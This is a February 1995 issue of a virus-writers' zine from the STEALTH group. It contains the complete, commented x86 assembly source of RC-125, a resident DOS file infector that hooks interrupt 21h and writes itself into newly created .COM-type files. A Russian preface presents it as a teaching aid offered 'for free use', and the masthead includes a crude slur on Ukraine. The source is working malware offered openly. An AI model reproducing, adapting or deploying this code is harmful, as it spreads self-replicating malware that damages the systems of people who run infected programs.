          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  FEB '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██  
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ████ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄ 
	     Copyright , (C),1994-95, by STEALTH group, unLtd.
	     (M)ail: BOX 10, KIEV 148, The CUNTry of fUcKRAINE


;- RC-125 --------------------------------------------------------------------
; (c) Light General.For free use!
;  Предисловие :
; Здравствуйте, мой возможный читатель!
; В свое время (на заре моего первого опыта вирусописания) я имел честь
;расхакивать вирус RC-200.Он был написан настолько извращенческим стилем,то 
;бишь в стиле минимизации,что я так и не смог сделать его дамп рекомпелируемым.
;А посему решил я сам написать хорошо читаемый вирус.И НАПИСАЛ!
; Плоды работы представлены ниже.Вирус располагает свое робкое тело в таблице
;векторов по адресу 0000:0100h.Заражаются файлы, у которых первая буква расши-
;рения 'C' (намек на .COM).
; Суть работы вируса - ждем создания файла ф-цией 3ch! После создания проверяем
;расширение,и если подходит то записываемся в начало,после чего отдаем управ-
;ление создающей программе.
; Работу сего вируса я наблюдал на своем полудохлом ПОИСКЕ (с DOS 3.30),и скажу
; вам,что сбоев не замечалось!Это достигнуто полным отсутствием рекурсии
;по отношению к DOS'у.
; Вирус написан мною ТОЛЬКО как учебное пособие (т.е. ни где не распускался).
; (И вообще эра таких вот малюток со стелз коэффициентом = 0 уже прошла!)
;
;						L.G.

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
		.model tiny
		.code
		org 100h
start:
		mov	si,100h		; Готовим регистры для переноса тела
					; в таблицу векторов.(код команды :
		mov	di,si		;			0BE 00 10 )
		push	si
;-Inst int.---------------------------------
		mov	ax,3521h	; Получим адрес int_21h
		int	21h
		xor	cx,cx		; Подготовим сегментные регистры для
					; переноса тела.
		mov	bp,es
		mov	es,cx
		cmp	byte ptr es:[si],0BEh	; Память уже заражена?
		jz	exit_v			; Да!
		push	ds
		mov	ds,cx
		mov	ds:[0E0h*4],bx	   ; Установим полученный адрес int_21h
		mov	ds:[(0E0h*4)+2],bp ;в вектор int_0E0h!
					   ;Это делается для последующего исполь
					   ;зования при заражениях файлов!
		mov	ah,25h
		mov	dx,offset int_21h_entry
		int	0E0h		; Установим int_21h на свой обработчик.
;-------------------------------------------
		pop	ds
		cld
		mov	cx,(offset end_vir-100h)
		rep	movsb	; Перенесем тело в таблицу векторов.
;-------------------------------------------
; А теперь подвинем зараженную программу вверх и передадим ей управление!
exit_v:
		mov	si,offset end_vir	; Начало зар.прог.
		pop	di			; di = 100h
		push	cs
		pop	es
;-------------------------------------------
		mov	word ptr ds:[di-2],0A4F2h ; Перед будущим началом
					;зар.прог. поставим инструкцмю
					;rep movsb!(мы передадим на нее
					;упр.,и после ее конца запустится
					;зар.программа!
		mov	cx,sp	; Вычислим сколько байт нам надо "поднять".
				;(вообщето этого можно не делать,а сразу
				;двигать определенное число байт,но так будет
				;красивей и корректней!)
		sub	cx,100h	;
;		jmp	00FEh		; Передаем управление на созданные
		db	0EBh		;команды!
		db	0BBh
;-------------------------------------------
; Наш обработчик прерывания!
int_21h_entry:
		cmp	ah,3ch		; Create file?
		jz	Create		; Yes!
		jmp	dword ptr cs:[0E0h*4]	; No!Exit!
Create:
		int	0E0h		; Пускай DOS создаст файл.
		pushf
		jc	exit_int	; Коли ошибка то выйти!
		push	ds ax bx cx dx si
;- Будем смотреть расширение созданного файла.---
		mov	si,dx
		xchg	ax,bx
search:
		lodsb
		cmp	al,'.'
		jnz	search
		lodsb
		and	al,11011111b	; Преобразуем в большую букву!
		cmp	al,'C'		; .COM ?
		jnz	exit_pop	; No!
;- Если расширение НАШЕ,то :---------------------
		mov	dx,100h		; Пишем вирус в файл!
		push	cs
		pop	ds
		mov	cx,(offset end_vir-100h)
		mov	ah,40h
		int	0E0h		; Теперь отдадим управление вызывавшей
					;программе!
exit_pop:
		pop	si dx cx bx ax ds
exit_int:
		popf
		retf	2
;-------------------------------------------
; А это - инсталлятор,который позволяет вирусу в самый первый раз сесть в 
;память машины.(Есстественно,что в длину вируса он не включается!)
end_vir:
		nop			;
		xor	cx,cx		; Всего -- 5 байт.
		push	cx		;
		ret			;
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
		end	start
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
